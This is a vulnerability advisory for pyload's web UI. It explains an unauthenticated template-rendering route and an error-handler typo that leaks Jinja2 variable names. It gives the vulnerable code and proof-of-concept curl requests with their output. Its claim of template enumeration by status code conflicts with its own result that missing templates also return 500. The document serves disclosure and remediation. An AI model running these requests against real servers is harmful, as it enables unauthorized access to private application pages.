CVE-2026-75597: pyload lets anyone view internal pages

### Summary

The `/web/<path:filename>` route in `src/pyload/webui/app/blueprints/app_blueprint.py` renders Jinja2 templates without any authentication requirement. Every equivalent direct route (`/logs`, `/settings`, `/queue`, `/dashboard`, etc.) is protected by `@login_required`, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in `src/pyload/webui/app/handlers.py` (`exc.desc` instead of `exc.description`), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.

### Details

**Bug 1 — Missing authentication on `/web/<path:filename>`**

File: `src/pyload/webui/app/blueprints/app_blueprint.py`, lines 32–36

```python
@bp.route("/web/<path:filename>", endpoint="web")
def render(filename): # ← no @login_required
mimetype = mimetypes.guess_type(filename)[0] or "text/html"
data = render_template(filename)
return flask.Response(data, mimetype=mimetype)
```

Every other sensitive route in the same file is protected:

```python
@bp.route("/logs", ...)
@login_required("LIST") # protected

@bp.route("/settings", ...)
@login_required("SETTINGS") # protected

@bp.route("/files", ...)
@login_required("DOWNLOAD") # protected
```

The `/web/<path:filename>` route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.

**Bug 2 — Exception attribute typo causes internal details in error responses**

File: `src/pyload/webui/app/handlers.py`, lines 12–20

```python
def handle_exception_error(exc):
try:
code = exc.code
desc = exc.desc # BUG: attribute does not exist on standard exceptions
except AttributeError: # always raised — falls here for every exception
code = 500
desc = exc # raw exception object assigned to desc
message = f"Error {code}: {desc}" # str(exc) embedded in response body
return render_template("error.html", messages=[message]), code
```

`exc.desc` does not exist on standard Python or Jinja2 exceptions. The `AttributeError` branch is always taken for template rendering failures. `desc` is set to the raw exception object, and `str(exc)` is embedded in the HTML response body returned to the unauthenticated caller. For a `UndefinedError` this produces `'conf' is undefined`. For `TemplateNotFound` it produces the template filename.

### PoC

Tested against pyload-ng develop branch (`0.5.0b3.dev`), default install, no authentication cookies or credentials used in any request.

**Test 1 — Unauthenticated page render confirmed (HTTP 200)**
```bash
curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"

```

Test 2 — System info page with sensitive field labels rendered unauthenticated
```curl -s http://TARGET:8000/web/info.html | grep "Python Version\|Installation Folder\|Config Folder\|OS Platform"
html

<dt><b>Python Version:</b></dt>
<dt><b>OS Platform:</b></dt>
<dt><b>Installation Folder:</b></dt>
<dt><b>Config Folder:</b></dt>```

Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)
```curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error"
HTTP/1.1 500 INTERNAL SERVER ERROR
<p><b>Error 500: 'conf' is undefined</b></p>```
Test 4 — Template enumeration via response code differentiation
```curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/logs.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/collector.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/filemanager.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/nonexistent_xyz.html
200 ← logs.html (exists, renders without auth)
200 ← info.html (exists, renders without auth)
200 ← dashboard.html (exists, renders without auth)
500 ← settings.html (exists, missing auth context — leaks 'conf' is undefined)
500 ← queue.html (exists, missing auth context)
500 ← collector.html (exists, missing auth context)
500 ← filemanager.html (exists, missing auth context)
500 ← nonexistent_xyz (does not exist — same 500, no differentiation on miss)```

###Impact
An unauthenticated remote attacker can:

Render application page templates without any credentials, bypassing the access control model enforced on all direct routes
Access the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure
Access the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication
Extract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.)
Enumerate all valid template filenames by observing 200 vs 500 response codes

The access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/<path:filename> endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.